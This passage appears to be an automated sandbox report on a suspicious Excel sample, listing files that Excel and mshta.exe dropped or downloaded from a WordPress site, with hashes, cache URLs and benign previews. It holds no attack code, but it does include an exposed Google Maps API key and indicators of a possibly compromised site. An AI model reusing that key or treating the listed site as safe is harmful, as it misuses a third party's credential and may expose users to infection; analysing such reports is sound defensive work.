Malicious:	false
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D883D8AE-6635-40DC-B860-4A09D15352FD

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	148061
Entropy (8bit):	5.358155824065238
Encrypted:	false
SSDEEP:	1536:scQW/gxgB5BQguwN/Q9DQe+zQTk4F77nXmvid3XxVETLKz61:n1Q9DQe+zuXYr
MD5:	40E11FF0896EF673C76EAF21352E0A9C
SHA1:	16DE508566407D52C2A924039D140030A91FD554
SHA-256:	D53357FDCBDF9AD3A96448CAD32E59524DA3CCD6EA1A24486DD537466242DCC2
SHA-512:	A0311B6FEB2D4832FCBDB15DE0683A44F3E520F6BCA482BD3AB81014F3AC9795D7EC28BDF51D6D602838E56C159BFE5573444BEE29C6072D41FBE8BD2D39A60D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-08-16T09:05:32">.. Build: 16.0.15607.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C7D1B87B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\arrow_down[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	208
Entropy (8bit):	5.9194278840524825
Encrypted:	false
SSDEEP:	3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
MD5:	20A650477130C7C2C62C5647131F545B
SHA1:	4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
SHA-256:	068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
SHA-512:	9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Preview:	.PNG........IHDR.............[6......sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.01/09/10......(IDAT..]....0..@....G..HUy........`.FM[......[..g....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\content_bg4[1].jpg

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
Category:	downloaded
Size (bytes):	891583
Entropy (8bit):	7.917669644382096
Encrypted:	false
SSDEEP:	24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
MD5:	68287B4A0457A01B4244FBB136D147B7
SHA1:	8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
SHA-256:	16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
SHA-512:	84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\css[2].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato&subset=latin
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\error[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.js
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\font-awesome[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	27231
Entropy (8bit):	4.969538355156986
Encrypted:	false
SSDEEP:	384:V4CBhTJwxFGFepFFVofu2NF2advHrGlmBpa/pe:zBEFGFepFvoGOkadvHz3Ke
MD5:	2D53B06F292DCB355B5E1A39EC065054
SHA1:	57CA25A18CBDEDF36973B712BC81F9E3F883A371
SHA-256:	22A22E76F4DE930E54DD33AF00C71B68828847409E5E79787DF5224DD9776C6F
SHA-512:	83C4394957069679994F7C04B1643AF895733E3469B539F9D202934FA5F808D31CB42EDF92029F23E849DEDD45EC50BB90D0009C3FA4450E8E50AB9C832313DA
Malicious:	false
IE Cache URL:	http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Preview:	/!. Font Awesome 3.2.1. * the iconic font designed for Bootstrap. * ------------------------------------------------------------------------------. * The full suite of pictographic icons, examples, and documentation can be. * found at http://fontawesome.io. Stay up to date on Twitter at. * http://twitter.com/fontawesome.. . License. * ------------------------------------------------------------------------------. * - The Font Awesome font is licensed under SIL OFL 1.1 -. * http://scripts.sil.org/OFL. * - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -. * http://opensource.org/licenses/mit-license.html. * - Font Awesome documentation licensed under CC BY 3.0 -. * http://creativecommons.org/licenses/by/3.0/. * - Attribution is no longer required in Font Awesome 3.0, but much appreciated:. * "Font Awesome by Dave Gandy - http://fontawesome.io". . Author - Dave Gandy. * -------------------------------------------------------------

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery-migrate-1.2.1.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	7199
Entropy (8bit):	5.223786028238701
Encrypted:	false
SSDEEP:	96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
MD5:	EB05D8D73B5B13D8D84308A4751ECE96
SHA1:	743052320809514FB788FE1D3DF37FC87CE90452
SHA-256:	1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
SHA-512:	7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Preview:	/! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function(){return null},c=e.attrHoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery.elastislide[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	6240
Entropy (8bit):	5.090536443525485
Encrypted:	false
SSDEEP:	96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
MD5:	EAC02BD7783EDAB0F1A0DBEBB32AA8A7
SHA1:	D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
SHA-256:	DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
SHA-512:	D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
Preview:	(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\jquery.flexslider-min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	21638
Entropy (8bit):	5.19976778726859
Encrypted:	false
SSDEEP:	384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
MD5:	9EC3C315B67F434AABC4DA58EABC6C3A
SHA1:	51B3A7D882F438D53DC69CA5289E92254160C09A
SHA-256:	0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
SHA-512:	75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
Preview:	/. jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\js[2].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	168165
Entropy (8bit):	5.477676171156769
Encrypted:	false
SSDEEP:	3072:8HyJLyxofQaFWX69fmQ9z3GUl4ul3cH5aP43rXy:qxoPKPZa43rC
MD5:	C91665E534C4912233EE11CA89675D8E
SHA1:	E1C70351555606E47FD88DFB8F40F7C44593CFCF
SHA-256:	2530BA79FAD584DF4E6D9E8593E3CA2CDE8646EF6BA4ADD3D545846C2730DB10
SHA-512:	F4A47A9303805F2A5D6DFDAABCF79DEBB3848E4195595370068F57669FDEBB9081AC639AD5BA9F361FFB3D4AC53BC515B50D1C981C1EB31A6AD246DA83895FA6
Malicious:	false
IE Cache URL:	http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
Preview:	..window.google = window.google \|\| {};.google.maps = google.maps \|\| {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["http://khm0.googleapis.com/kh?v=928\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=928\u0026hl=en-US\u0026"],null,null,null,1,"928",["https://khms0.google.com/kh?v=928\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=928\u0026hl=en-US\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["http://khm0.googleapis.com/kh?v=143\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=143\u0026hl=en-US\u0026"],null,null,null,null,"143",["https://khms0.google.com/kh?v=143\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=143\u0026hl=en-US\u0026"]],null,null,null,null,null,null,null,[["https://streetviewpixel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\logo-slider-wp-public[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5372
Entropy (8bit):	4.984476165106454
Encrypted:	false
SSDEEP:	96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
MD5:	3A2087F6BBC2271D1A7484512C92A4BB
SHA1:	B15329AD5E236432E2B7972242E3DDC0E93BE73A
SHA-256:	D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
SHA-512:	9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. /..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\logo-slider-wp-public[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3006
Entropy (8bit):	4.209501226216895
Encrypted:	false
SSDEEP:	48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
MD5:	7B766A62E26ADB736A822B315A891025
SHA1:	A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
SHA-256:	65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
SHA-512:	8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
Preview:	(function() {.. 'use strict';.... /*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {... ... });.. .. When the window is loaded:.. .. $( window ).load(function() {... ... });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\owl.carousel[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	89992
Entropy (8bit):	5.084392122174397
Encrypted:	false
SSDEEP:	1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
MD5:	CCDF893E7D8B26933AF0C336BCC3943E
SHA1:	AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
SHA-256:	DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
SHA-512:	818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /./. Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. /.;(function($, window, document, undefined) {.../.. Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement\|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. /..function Owl(element, options) {..../... Current settings for the carousel.... * @public... /...this.settings = null;..../... Current options set by the caller including defaults.... * @public... /...this.options = $.extend({}, Owl.Defaults, options);..../... Plugin element.... *

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\parallax[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	4.793570624792053
Encrypted:	false
SSDEEP:	6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
MD5:	D836CAC74A1D9528BE73EE745D64B8CA
SHA1:	D8269C3090161BAA21C97DF370E32C68F512C1A8
SHA-256:	E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
SHA-512:	966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Preview:	body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	4.974103937872525
Encrypted:	false
SSDEEP:	12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
MD5:	725008F7D019079BD5FDF435862F0AF5
SHA1:	0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
SHA-256:	5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
SHA-512:	EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Preview:	/..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry./.@import "css/style.css";.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\styles[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1743
Entropy (8bit):	5.077735166460529
Encrypted:	false
SSDEEP:	24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
MD5:	EC96E53E57B5D34F762D567CDB29A312
SHA1:	33D59800F24B9967590354A7B47B37000DC5A5CC
SHA-256:	A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
